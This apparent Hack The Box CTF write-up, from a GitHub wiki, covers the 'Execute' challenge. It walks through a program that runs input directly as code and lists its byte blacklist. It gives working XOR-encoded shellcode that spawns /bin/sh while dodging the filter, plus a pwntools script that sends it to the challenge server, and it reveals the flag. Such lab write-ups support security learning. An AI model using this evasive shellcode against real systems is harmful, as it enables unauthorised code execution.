HTB Execute writeup - Pez1181/CTF GitHub Wiki
𧨠Execute β HTB Execute Write-Up
π¦ Challenge Summary
Type | Details |
---|---|
π₯ Challenge | Execute |
π§ Category | Binary Exploitation / Shellcoding |
π§ Technique | Shellcode injection + XOR encoding |
π Protection | NX disabled, no overflow needed |
π§ Lessons Learned
- Shellcode injection without buffer overflow
- Bypassing blacklists with XOR obfuscation
- Loading and decoding strings on the stack
- Manually assembling blacklist-safe syscall payloads
π§ Recon
The binary is a 64-bit ELF, not stripped, dynamically linked, with the following protections:
checksec ./execute
Output:
RELRO Full RELRO
Canary Found
NX Disabled <--- β
Important!
PIE Enabled
π Source Analysis
char buf[62];
read(0, buf, 60); // Reads input
if (!check(blacklist, buf, size, strlen(blacklist))) {
exit(1337); // Reject if blacklisted byte found
}
((void (*)()) buf)(); // EXECUTE the input as code!
The program literally jumps to your input β no overflow required β but applies a filter to reject any βsuspiciousβ bytes.
π« Blacklisted Bytes
\x3b\x54\x62\x69\x6e\x73\x68\xf6\xd2\xc0\x5f\xc9\x66\x6c\x61\x67
; T b i n s h _ f l a g
This blocks:
/bin/sh
execve
syscall number (0x3b)- Obvious shellcode patterns
π‘ Exploit Strategy
Since we canβt include /bin/sh
directly, we encode it. Hereβs the plan:
- Pick a clean XOR key (
0x2a2a2a2a2a2a2a2a
) - XOR it with
/bin/sh\0
β0x2a4e593557534c05
- Push the key onto the stack
- XOR the stack in-place with the obfuscated value to reveal
/bin/sh
- Set up registers for
execve
- Use a trick to bypass
0x3b
syscall (push0x3a
,add al, 1
) syscall
π» Final Shellcode
mov rax, 0x2a2a2a2a2a2a2a2a
push rax
mov rax, 0x2a4e593557534c05 ; XOR key ^ "/bin/sh"
xor [rsp], rax
mov rdi, rsp ; rdi = "/bin/sh"
push 0
pop rsi
push 0
pop rdx ; rsi, rdx = NULL
push 0x3a
pop rax
add al, 1 ; rax = 0x3b
syscall ; execve("/bin/sh", NULL, NULL)
Generated using pwntools
:
from pwn import *
context.arch = 'amd64'
key = 0x2a2a2a2a2a2a2a2a
binsh = u64(b"/bin/sh\0")
xorval = key ^ binsh
shellcode = f'''
mov rax, {hex(key)}
push rax
mov rax, {hex(xorval)}
xor [rsp], rax
mov rdi, rsp
push 0
pop rsi
push 0
pop rdx
push 0x3a
pop rax
add al, 1
syscall
'''
p = remote("94.237.55.96", 42628)
p.send(asm(shellcode))
p.interactive()
π Result
$ whoami
ctf
$ cat flag.txt
HTB{sh3lly_Mc5h3lls0n}
Mission complete. Shells dropped, flags grabbed!
π§ Notes for Future Ops
- XORing sensitive values is an excellent way to bypass blacklists
- You can craft fully blacklist-safe shellcode with manual assembly and a bit of XOR magic
- Use
push
/pop
tricks to avoid nulls or bad syscall bytes - Always verify execution with
gdb
to inspect shellcode at runtime